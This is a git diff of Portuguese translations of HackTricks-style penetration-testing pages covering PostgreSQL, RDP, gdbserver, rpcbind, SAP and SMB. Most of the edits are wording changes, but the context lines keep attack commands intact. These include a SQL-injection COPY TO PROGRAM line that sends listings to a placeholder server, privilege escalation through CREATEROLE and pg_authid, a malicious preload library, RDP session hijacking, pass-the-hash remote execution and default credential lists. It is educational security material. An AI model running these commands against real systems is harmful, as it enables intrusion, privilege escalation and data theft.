Lembre-se de que se você não for superusuário, mas tiver as permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:** +> Lembre-se de que se você não for super usuário, mas tiver as permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:** > > ```sql > GRANT pg_write_server_files TO username; @@ -280,8 +280,6 @@ No entanto, existem **outras técnicas para fazer upload de grandes arquivos bin ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} - - ### Atualizando dados da tabela PostgreSQL via gravação de arquivo local Se você tiver as permissões necessárias para ler e escrever arquivos do servidor PostgreSQL, pode atualizar qualquer tabela no servidor **substituindo o nó de arquivo associado** no [diretório de dados do PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Mais sobre essa técnica** [**aqui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). @@ -296,7 +294,7 @@ SELECT setting FROM pg_settings WHERE name = 'data_directory'; **Nota:** Se você não conseguir recuperar o caminho do diretório de dados atual das configurações, pode consultar a versão principal do PostgreSQL através da consulta `SELECT version()` e tentar forçar o caminho. Caminhos comuns do diretório de dados em instalações Unix do PostgreSQL são `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Um nome de cluster comum é `main`. -2. Obtenha um caminho relativo para o filenode, associado à tabela de destino +2. Obtenha um caminho relativo para o filenode, associado à tabela alvo ```sql SELECT pg_relation_filepath('{TABLE_NAME}') @@ -310,7 +308,7 @@ Essa consulta deve retornar algo como `base/3/1337`. O caminho completo no disco SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` -4. Obtenha o tipo de dado, associado à tabela de destino +4. Obtenha o tipo de dado, associado à tabela alvo ```sql SELECT @@ -340,7 +338,7 @@ python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV ![Demonstração do PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) -6. Refaça o upload do filenode editado através das funções `lo_*`, e sobrescreva o arquivo original no disco +6. Refaça o upload do filenode editado através das funções `lo_*`, e substitua o arquivo original no disco ```sql SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) @@ -355,13 +353,13 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) 8. Agora você deve ver os valores da tabela atualizados no PostgreSQL. -Você também pode se tornar um superadministrador editando a tabela `pg_authid`. **Veja** [**a seção seguinte**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). +Você também pode se tornar um superadmin editando a tabela `pg_authid`. **Veja** [**a seção seguinte**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). ## RCE ### **RCE para programa** -Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), apenas **superusuários** e membros do grupo **`pg_execute_server_program`** podem usar copy para RCE (exemplo com exfiltração: +Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), apenas **super usuários** e membros do grupo **`pg_execute_server_program`** podem usar copy para RCE (exemplo com exfiltração: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` @@ -465,7 +463,7 @@ Podemos definir o valor de `dynamic_library_path` para um diretório, gravável Os passos do ataque são: -1. Baixe o original `postgresql.conf` +1. Baixe o `postgresql.conf` original 2. Inclua o diretório `/tmp/` no valor de `dynamic_library_path`, por exemplo, `dynamic_library_path = '/tmp:$libdir'` 3. Inclua o nome da biblioteca maliciosa no valor de `session_preload_libraries`, por exemplo, `session_preload_libraries = 'payload.so'` 4. Verifique a versão principal do PostgreSQL via a consulta `SELECT version()` @@ -527,9 +525,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so #### **Grant** -De acordo com a [**documentação**](https://www.postgresql.org/docs/13/sql-grant.html): _Funções que têm o privilégio **`CREATEROLE`** podem **conceder ou revogar a associação em qualquer função** que **não** seja um **superusuário**._ +De acordo com a [**documentação**](https://www.postgresql.org/docs/13/sql-grant.html): _Funções que têm o privilégio **`CREATEROLE`** podem **conceder ou revogar a filiação em qualquer função** que **não** seja um **superusuário**._ -Portanto, se você tiver a permissão **`CREATEROLE`**, poderá conceder a si mesmo acesso a outras **funções** (que não sejam superusuário) que podem lhe dar a opção de ler e gravar arquivos e executar comandos: +Portanto, se você tiver permissão **`CREATEROLE`**, poderá conceder a si mesmo acesso a outras **funções** (que não são superusuário) que podem lhe dar a opção de ler e escrever arquivos e executar comandos: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -552,7 +550,7 @@ ALTER USER user_name WITH PASSWORD 'new_password'; COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` > [!NOTE] -> Isso geralmente é possível por causa das seguintes linhas no arquivo **`pg_hba.conf`**: +> Isso geralmente é possível devido às seguintes linhas no arquivo **`pg_hba.conf`**: > > ```bash > # "local" é apenas para conexões de socket de domínio Unix @@ -565,9 +563,9 @@ COPY (select '') to PROGRAM 'psql -U -c "ALTER USER ### **ALTER TABLE privesc** -Em [**este artigo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) é explicado como foi possível fazer **privesc** no Postgres GCP abusando do privilégio ALTER TABLE que foi concedido ao usuário. +Em [**este artigo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) é explicado como foi possível **privesc** no Postgres GCP abusando do privilégio ALTER TABLE que foi concedido ao usuário. -Quando você tenta **tornar outro usuário o proprietário de uma tabela**, você deve receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres que não é superusuário** no GCP: +Quando você tenta **tornar outro usuário proprietário de uma tabela**, você deve receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres que não é superusuário** no GCP:
@@ -645,7 +643,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Função definida pelo usuário com** SECURITY DEFINER -[**Neste relatório**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), os pentesters conseguiram escalar privilégios dentro de uma instância postgres fornecida pela IBM, porque **encontraram esta função com a flag SECURITY DEFINER**: +[**Neste artigo**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), os pentesters conseguiram escalar privilégios dentro de uma instância postgres fornecida pela IBM, porque **encontraram esta função com a flag SECURITY DEFINER**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
 RETURNS text
@@ -666,7 +664,7 @@ PERFORM dblink_disconnect();
 …
 
-Como [**explicado na documentação**](https://www.postgresql.org/docs/current/sql-createfunction.html), uma função com **SECURITY DEFINER é executada** com os privilégios do **usuário que a possui**. Portanto, se a função for **vulnerável a SQL Injection** ou estiver realizando algumas **ações privilegiadas com parâmetros controlados pelo atacante**, ela pode ser abusada para **escalar privilégios dentro do postgres**. +Como [**explicado na documentação**](https://www.postgresql.org/docs/current/sql-createfunction.html), uma função com **SECURITY DEFINER é executada** com os privilégios do **usuário que a possui**. Portanto, se a função for **vulnerável a SQL Injection** ou estiver realizando algumas **ações privilegiadas com parâmetros controlados pelo atacante**, pode ser abusada para **escalar privilégios dentro do postgres**. Na linha 4 do código anterior, você pode ver que a função tem a flag **SECURITY DEFINER**. ```sql diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index d32cbd8ed..62db56559 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -50,7 +50,7 @@ rdp_check /:@ ### Roubo de sessão -Com **permissões de SYSTEM** você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário. +Com **permissões de SYSTEM**, você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário. **Obter sessões abertas:** ``` @@ -64,7 +64,7 @@ Agora você estará dentro da sessão RDP selecionada e terá que se passar por **Importante**: Ao acessar uma sessão RDP ativa, você desconectará o usuário que a estava utilizando. -Você pode obter senhas do processo despejando-o, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no notepad sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...) +Você poderia obter senhas do processo despejando-o, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no notepad sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...) #### **Mimikatz** diff --git a/src/network-services-pentesting/pentesting-remote-gdbserver.md b/src/network-services-pentesting/pentesting-remote-gdbserver.md index 568fbab0e..2f4918c27 100644 --- a/src/network-services-pentesting/pentesting-remote-gdbserver.md +++ b/src/network-services-pentesting/pentesting-remote-gdbserver.md @@ -5,7 +5,7 @@ ## **Informações Básicas** -**gdbserver** é uma ferramenta que permite a depuração de programas remotamente. Ela é executada ao lado do programa que precisa ser depurado no mesmo sistema, conhecido como "alvo". Essa configuração permite que o **GNU Debugger** se conecte de uma máquina diferente, o "host", onde o código-fonte e uma cópia binária do programa depurado estão armazenados. A conexão entre **gdbserver** e o depurador pode ser feita via TCP ou uma linha serial, permitindo configurações de depuração versáteis. +**gdbserver** é uma ferramenta que permite a depuração de programas remotamente. Ele é executado ao lado do programa que precisa ser depurado no mesmo sistema, conhecido como "alvo". Essa configuração permite que o **GNU Debugger** se conecte de uma máquina diferente, o "host", onde o código-fonte e uma cópia binária do programa depurado estão armazenados. A conexão entre **gdbserver** e o depurador pode ser feita via TCP ou uma linha serial, permitindo configurações de depuração versáteis. Você pode fazer um **gdbserver escutar em qualquer porta** e, no momento, **nmap não é capaz de reconhecer o serviço**. @@ -38,7 +38,7 @@ run ``` ### Executar comandos arbitrários -Há outra maneira de **fazer o depurador executar comandos arbitrários via um** [**script python personalizado retirado daqui**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target). +Há outra maneira de **fazer o depurador executar comandos arbitrários via um** [**script Python personalizado retirado daqui**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target). ```bash # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. target extended-remote 192.168.1.4:2345 diff --git a/src/network-services-pentesting/pentesting-rlogin.md b/src/network-services-pentesting/pentesting-rlogin.md index 6ff9d5193..befa96a34 100644 --- a/src/network-services-pentesting/pentesting-rlogin.md +++ b/src/network-services-pentesting/pentesting-rlogin.md @@ -5,7 +5,7 @@ ## Informações Básicas -No passado, **rlogin** era amplamente utilizado para tarefas de administração remota. No entanto, devido a preocupações com sua segurança, foi amplamente substituído por **slogin** e **ssh**. Esses métodos mais novos oferecem segurança aprimorada para conexões remotas. +No passado, **rlogin** era amplamente utilizado para tarefas de administração remota. No entanto, devido a preocupações com sua segurança, ele foi amplamente substituído por **slogin** e **ssh**. Esses métodos mais novos oferecem segurança aprimorada para conexões remotas. **Porta padrão:** 513 ``` diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index 19a7dd7ac..6030594ca 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -49,16 +49,16 @@ ypwhich -d # Extract user credentials ypcat –d –h passwd.byname ``` -### Arquivos NIF +### NIF files -| **Arquivo mestre** | **Mapa(s)** | **Notas** | -| ------------------ | ---------------------------- | --------------------------------- | -| /etc/hosts | hosts.byname, hosts.byaddr | Contém nomes de host e detalhes de IP | -| /etc/passwd | passwd.byname, passwd.byuid | Arquivo de senha de usuário NIS | -| /etc/group | group.byname, group.bygid | Arquivo de grupo NIS | -| /usr/lib/aliases | mail.aliases | Detalhes de aliases de e-mail | +| **Arquivo mestre** | **Mapa(s)** | **Notas** | +| ------------------ | -------------------------- | --------------------------------- | +| /etc/hosts | hosts.byname, hosts.byaddr | Contém nomes de host e detalhes de IP | +| /etc/passwd | passwd.byname, passwd.byuid | Arquivo de senha de usuário NIS | +| /etc/group | group.byname, group.bygid | Arquivo de grupo NIS | +| /usr/lib/aliases | mail.aliases | Detalhes de aliases de e-mail | -## Usuários RPC +## RPC Users Se você encontrar o serviço **rusersd** listado assim: @@ -66,7 +66,7 @@ Se você encontrar o serviço **rusersd** listado assim: Você pode enumerar os usuários da máquina. Para aprender como, leia [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md). -## Bypass de porta do Portmapper filtrada +## Bypass Filtered Portmapper port Ao realizar uma **varredura nmap** e descobrir portas NFS abertas com a porta 111 sendo filtrada, a exploração direta dessas portas não é viável. No entanto, ao **simular um serviço de portmapper localmente e criar um túnel da sua máquina** para o alvo, a exploração se torna possível usando ferramentas padrão. Essa técnica permite contornar o estado filtrado da porta 111, permitindo assim o acesso aos serviços NFS. Para orientações detalhadas sobre este método, consulte o artigo disponível em [este link](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc). @@ -74,11 +74,11 @@ Ao realizar uma **varredura nmap** e descobrir portas NFS abertas com a porta 11 - `Portmap` -## Laboratórios para praticar +## Labs to practice - Pratique essas técnicas na [**máquina Irked HTB**](https://app.hackthebox.com/machines/Irked). -## Comandos Automáticos HackTricks +## HackTricks Automatic Commands ``` Protocol_Name: Portmapper #Protocol Abbreviation if there is one. Port_Number: 43 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-rsh.md b/src/network-services-pentesting/pentesting-rsh.md index e8a40eaf2..52af26671 100644 --- a/src/network-services-pentesting/pentesting-rsh.md +++ b/src/network-services-pentesting/pentesting-rsh.md @@ -4,7 +4,7 @@ ## Informações Básicas -Para autenticação, arquivos **.rhosts** junto com **/etc/hosts.equiv** foram utilizados pelo **Rsh**. A autenticação dependia de endereços IP e do Sistema de Nomes de Domínio (DNS). A facilidade de falsificação de endereços IP, notavelmente na rede local, era uma vulnerabilidade significativa. +Para autenticação, arquivos **.rhosts** juntamente com **/etc/hosts.equiv** foram utilizados pelo **Rsh**. A autenticação dependia de endereços IP e do Sistema de Nomes de Domínio (DNS). A facilidade de falsificação de endereços IP, notavelmente na rede local, era uma vulnerabilidade significativa. Além disso, era comum que os arquivos **.rhosts** fossem colocados nos diretórios pessoais dos usuários, que frequentemente estavam localizados em volumes do Sistema de Arquivos de Rede (NFS). diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index c5e354d99..b44c8976b 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -2,7 +2,7 @@ # Introdução sobre SAP -SAP significa Sistemas, Aplicações e Produtos em Processamento de Dados. SAP, por definição, também é o nome do software ERP \(Planejamento de Recursos Empresariais\) assim como o nome da empresa. O sistema SAP consiste em uma série de módulos totalmente integrados, que cobrem virtualmente todos os aspectos da gestão empresarial. +SAP significa Sistemas, Aplicações e Produtos em Processamento de Dados. SAP, por definição, também é o nome do software ERP \(Planejamento de Recursos Empresariais\) e o nome da empresa. O sistema SAP consiste em uma série de módulos totalmente integrados, que cobrem praticamente todos os aspectos da gestão empresarial. Cada instância SAP \(ou SID\) é composta por três camadas: banco de dados, aplicação e apresentação\), cada paisagem geralmente consiste em quatro instâncias: dev, teste, QA e produção. Cada uma das camadas pode ser explorada até certo ponto, mas o maior efeito pode ser obtido ao **atacar o banco de dados**. @@ -56,7 +56,7 @@ msf auxiliary(sap_service_discovery) > run ``` ## Testando o Cliente Pesado / SAP GUI -Aqui está o comando para conectar ao SAP GUI +Aqui está o comando para conectar ao SAP GUI `sapgui ` - Verifique as credenciais padrão \(Na Taxonomia de Avaliação de Vulnerabilidades do Bugcrowd, isso é considerado como P1 -> Configuração de Segurança do Servidor Incorreta \| Uso de Credenciais Padrão \| Servidor de Produção\): @@ -111,7 +111,7 @@ DEVELOPER:Down1oad:001 BWDEVELOPER:Down1oad:001 ``` - Execute o Wireshark e, em seguida, autentique-se no cliente \(SAP GUI\) usando as credenciais que você obteve, pois alguns clientes transmitem credenciais sem SSL. Existem dois plugins conhecidos para o Wireshark que podem dissecar os principais cabeçalhos usados pelo protocolo SAP DIAG também: SecureAuth Labs SAP dissection plug-in e SAP DIAG plugin by Positive Research Center. -- Verifique por elevações de privilégio, como usar alguns Códigos de Transação SAP \(tcodes\) para usuários de baixo privilégio: +- Verifique por elevações de privilégio, como usar alguns Códigos de Transação SAP \(tcodes\) para usuários com baixo privilégio: - SU01 - Para criar e manter os usuários - SU01D - Para Exibir Usuários - SU10 - Para manutenção em massa @@ -176,7 +176,7 @@ Você pode verificar os valores dos parâmetros tanto manualmente quanto automat ## Verificação Manual de Parâmetros -Ao navegar até o Código de Transação `RSPFPAR`, você pode consultar diferentes parâmetros e procurar seus valores. +Ao navegar até o Código de Transação `RSPFPAR`, você pode consultar diferentes parâmetros e verificar seus valores. A tabela abaixo contém os parâmetros definidos e as condições para os quais eles são distinguidos. @@ -200,11 +200,11 @@ Por exemplo, se gw/reg_no_conn_info estiver definido como menos de 255 (` | `login/min_password_lowercase` | `0` | Número mínimo de letras minúsculas exigidas nas senhas. | | `login/min_password_uppercase` | `0` | Número mínimo de letras maiúsculas exigidas nas senhas. | | `login/min_password_digits` | `0` | Número mínimo de dígitos exigidos nas senhas. | -| `login/min_password_letters` | `1` | Número mínimo de letras exigidas nas senhas. | +| `login/min_password_letters` | `1` | Número mínimo de letras exigidas nas senhas. | | `login/fails_to_user_lock` | `<5` | Número de tentativas de login falhadas antes de bloquear a conta do usuário. | | `login/password_expiration_time` | `>90` | Tempo de expiração da senha em dias. | | `login/password_max_idle_initial` | `<14` | Tempo máximo de inatividade em minutos antes de exigir nova entrada de senha (inicial). | -| `login/password_max_idle_productive` | `<180` | Tempo máximo de inatividade em minutos antes de exigir nova entrada de senha (produtivo). | +| `login/password_max_idle_productive` | `<180` | Tempo máximo de inatividade em minutos antes de exigir nova entrada de senha (produtiva). | | `login/password_downwards_compatibility` | `0` | Especifica se a compatibilidade para baixo das senhas está habilitada. | | `rfc/reject_expired_passwd` | `0` | Determina se senhas expiradas são rejeitadas para RFC (Chamadas de Função Remota). | | `rsau/enable` | `0` | Habilita ou desabilita verificações de RS AU (Autorização). | diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index 5316bb84c..777720b5d 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -18,7 +18,7 @@ Por exemplo, no contexto do Windows, é destacado que o SMB pode operar diretame ``` ### SMB -O **Server Message Block (SMB)** protocolo, operando em um modelo **cliente-servidor**, é projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede como impressoras e roteadores. Primariamente utilizado dentro da série de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais novas do sistema operacional da Microsoft interajam perfeitamente com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, permitindo a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação entre plataformas através do SMB. +O **Server Message Block (SMB)** protocolo, operando em um modelo **cliente-servidor**, é projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede, como impressoras e roteadores. Utilizado principalmente dentro da série de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais novas do sistema operacional da Microsoft interajam perfeitamente com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, permitindo a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação entre plataformas através do SMB. Compartilhamentos, representando **partes arbitrárias do sistema de arquivos local**, podem ser fornecidos por um servidor SMB, tornando a hierarquia visível para um cliente parcialmente **independente** da estrutura real do servidor. As **Access Control Lists (ACLs)**, que definem **direitos de acesso**, permitem um **controle detalhado** sobre as permissões dos usuários, incluindo atributos como **`execute`**, **`read`** e **`full access`**. Essas permissões podem ser atribuídas a usuários individuais ou grupos, com base nos compartilhamentos, e são distintas das permissões locais definidas no servidor. @@ -32,7 +32,7 @@ O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula a - Informações sobre os compartilhamentos SMB disponíveis - A política de segurança do sistema efetiva -Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros. +Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros. ```bash enum4linux -a target_ip ``` @@ -81,15 +81,15 @@ searchsploit microsoft smb ``` ### **Credenciais** Possíveis -| **Nome(s) de usuário** | **Senhas comuns** | -| ---------------------- | ---------------------------------------- | -| _(em branco)_ | _(em branco)_ | -| convidado | _(em branco)_ | +| **Nome(s) de usuário** | **Senhas comuns** | +| ---------------------- | --------------------------------------- | +| _(em branco)_ | _(em branco)_ | +| convidado | _(em branco)_ | | Administrador, admin | _(em branco)_, senha, administrador, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| teste, lab, demo | senha, teste, lab, demo | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| teste, lab, demo | senha, teste, lab, demo | ### Força Bruta @@ -121,7 +121,7 @@ rpcclient -U "username%passwd" #With creds ``` ### Enumerar Usuários, Grupos e Usuários Conectados -Essas informações já devem estar sendo coletadas do enum4linux e enum4linux-ng +Essas informações já devem estar sendo coletadas do enum4linux e enum4linux-ng. ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md ### Listar pastas compartilhadas -É sempre recomendável verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**. +É sempre recomendado verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -313,7 +313,7 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De Especialmente interessantes nas compartilhamentos são os arquivos chamados **`Registry.xml`** pois **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois contêm credenciais. > [!NOTE] -> O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes em batch, VBScript e PowerShell.\ +> O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes de batch, VBScript e PowerShell.\ > Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis, como **senhas**. ## Ler Registro @@ -388,11 +388,11 @@ No **kali** está localizado em /usr/share/doc/python3-impacket/examples/ psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **NTLM** +Usando **o parâmetro** `-k` você pode se autenticar contra **kerberos** em vez de **NTLM** ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec -Execute stealthily um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **port 135.**\ +Execute furtivamente um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **porta 135.**\ Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -410,7 +410,7 @@ Usando **parameter**`-k` você pode se autenticar contra **kerberos** em vez de ### [AtExec](../windows-hardening/ntlm/atexec.md) Execute comandos via o Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\ -No **kali** está localizado em /usr/share/doc/python3-impacket/examples/ +Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index e16f389b2..b1fa1a3d6 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -18,7 +18,7 @@ Por exemplo, no contexto do Windows, é destacado que o SMB pode operar diretame ``` ### SMB -O **Server Message Block (SMB)** protocolo, operando em um modelo **cliente-servidor**, é projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede, como impressoras e roteadores. Utilizado principalmente dentro da série de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais novas do sistema operacional da Microsoft interajam perfeitamente com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, permitindo a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação entre plataformas através do SMB. +O **Server Message Block (SMB)** protocolo, operando em um modelo **cliente-servidor**, é projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede como impressoras e roteadores. Utilizado principalmente dentro da série de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais novas do sistema operacional da Microsoft interajam perfeitamente com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, permitindo a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação entre plataformas através do SMB. Compartilhamentos, representando **partes arbitrárias do sistema de arquivos local**, podem ser fornecidos por um servidor SMB, tornando a hierarquia visível para um cliente parcialmente **independente** da estrutura real do servidor. As **Access Control Lists (ACLs)**, que definem **direitos de acesso**, permitem um **controle detalhado** sobre as permissões dos usuários, incluindo atributos como **`execute`**, **`read`** e **`full access`**. Essas permissões podem ser atribuídas a usuários individuais ou grupos, com base nos compartilhamentos, e são distintas das permissões locais definidas no servidor. @@ -32,7 +32,7 @@ O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula a - Informações sobre os compartilhamentos SMB disponíveis - A política de segurança do sistema efetiva -Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros. +Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros. ```bash enum4linux -a target_ip ``` @@ -46,7 +46,7 @@ Se você não sabe o que é NTLM ou se deseja saber como funciona e como abusar ../../windows-hardening/ntlm/ {{#endref}} -## **Enumeração de Servidor** +## **Enumeração de Servidores** ### **Escanear** uma rede em busca de hosts: ```bash @@ -149,7 +149,7 @@ use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **Enumerando LSARPC e SAMR rpcclient** +### **Enumeração de LSARPC e SAMR rpcclient** {{#ref}} rpcclient-enumeration.md @@ -169,7 +169,7 @@ rpcclient-enumeration.md ### Listar pastas compartilhadas -É sempre recomendável verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**. +É sempre recomendado verificar se você pode acessar algo, se você não tiver credenciais, tente usar **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -310,7 +310,7 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Especialmente interessantes nas compartilhamentos são os arquivos chamados **`Registry.xml`** pois eles **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois eles contêm credenciais. +Especialmente interessantes nas compartilhamentos são os arquivos chamados **`Registry.xml`** pois **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois contêm credenciais. > [!NOTE] > O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes de batch, VBScript e PowerShell.\ @@ -326,7 +326,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Pós Exploração -A **configuração padrão de** um **servidor Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**: +A **configuração padrão do** servidor **Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**: | **Configuração** | **Descrição** | | -------------------------- | ----------------------------------------------------------------- | @@ -334,10 +334,10 @@ A **configuração padrão de** um **servidor Samba** geralmente está localizad | `read only = no` | Proibir a criação e modificação de arquivos? | | `writable = yes` | Permitir que os usuários criem e modifiquem arquivos? | | `guest ok = yes` | Permitir conectar-se ao serviço sem usar uma senha? | -| `enable privileges = yes` | Honrar privilégios atribuídos a SID específicos? | +| `enable privileges = yes` | Honrar privilégios atribuídos a SID 